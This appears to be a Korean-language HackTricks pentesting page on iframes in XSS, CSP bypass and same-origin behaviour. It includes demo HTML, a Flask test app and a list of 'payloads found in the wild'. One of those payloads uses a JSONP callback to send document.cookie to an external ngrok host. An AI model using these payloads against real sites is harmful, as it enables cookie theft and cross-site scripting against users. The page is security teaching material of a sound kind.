Iframes in XSS, CSP and SOP

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Iframes in XSS

iframed 페이지의 내용을 나타내는 방법은 3가지가 있습니다:

  • URL을 나타내는 src를 통해 (URL은 교차 출처 또는 동일 출처일 수 있음)

  • data: 프로토콜을 사용하여 내용을 나타내는 src를 통해

  • 내용을 나타내는 srcdoc을 통해

부모 및 자식 변수 접근

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

이전 html에 http 서버(예: python3 -m http.server)를 통해 접근하면 모든 스크립트가 실행되는 것을 알 수 있습니다(이를 방지하는 CSP가 없기 때문입니다). 부모는 어떤 iframe 안의 secret 변수를 접근할 수 없으며 오직 if2 및 if3(같은 사이트로 간주됨)만이 원래 창에서 비밀에 접근할 수 있습니다. if4가 null 출처로 간주된다는 점에 유의하세요.

CSP가 있는 Iframes

다음 우회에서 iframed 페이지에 대한 응답에 JS 실행을 방지하는 CSP 헤더가 포함되어 있지 않다는 점에 유의하세요.

script-srcself 값은 data: 프로토콜이나 srcdoc 속성을 사용하여 JS 코드를 실행하는 것을 허용하지 않습니다. 그러나 CSP의 none 값조차도 src 속성에 URL(전체 또는 경로만) 을 넣은 iframe의 실행을 허용합니다. 따라서 다음과 같이 페이지의 CSP를 우회하는 것이 가능합니다:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

이전 CSP는 인라인 스크립트의 실행만 허용합니다. 그러나 오직 if1if2 스크립트만 실행되지만, if1만 부모 비밀에 접근할 수 있습니다.

따라서 서버에 JS 파일을 업로드하고 iframe을 통해 로드할 수 있다면 CSP를 우회할 수 있습니다. script-src 'none'일지라도 가능합니다. 이는 동일 사이트 JSONP 엔드포인트를 악용하여도 가능할 수 있습니다.

다음 시나리오로 테스트할 수 있습니다. script-src 'none'일지라도 쿠키가 도난당하는 경우입니다. 애플리케이션을 실행하고 브라우저로 접근해 보세요:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Other Payloads found on the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe 내의 콘텐츠는 sandbox 속성을 사용하여 추가 제한을 받을 수 있습니다. 기본적으로 이 속성은 적용되지 않으며, 즉 제한이 없습니다.

사용될 때, sandbox 속성은 여러 가지 제한을 부과합니다:

  • 콘텐츠는 고유한 출처에서 온 것처럼 취급됩니다.

  • 양식을 제출하려는 모든 시도가 차단됩니다.

  • 스크립트 실행이 금지됩니다.

  • 특정 API에 대한 접근이 비활성화됩니다.

  • 링크가 다른 브라우징 컨텍스트와 상호작용하는 것을 방지합니다.

  • <embed>, <object>, <applet> 또는 유사한 태그를 통한 플러그인 사용이 금지됩니다.

  • 콘텐츠 자체가 콘텐츠의 최상위 브라우징 컨텍스트를 탐색하는 것이 방지됩니다.

  • 비디오 재생이나 양식 컨트롤의 자동 포커스와 같이 자동으로 트리거되는 기능이 차단됩니다.

속성의 값은 모든 위의 제한을 적용하기 위해 비워둘 수 있습니다 (sandbox=""). 또는 특정 제한에서 iframe을 면제하는 공백으로 구분된 값 목록으로 설정할 수 있습니다.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

SOP에서의 Iframes

다음 페이지를 확인하세요:

Bypassing SOP with Iframes - 1Bypassing SOP with Iframes - 2Blocking main page to steal postmessageSteal postmessage modifying iframe location

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated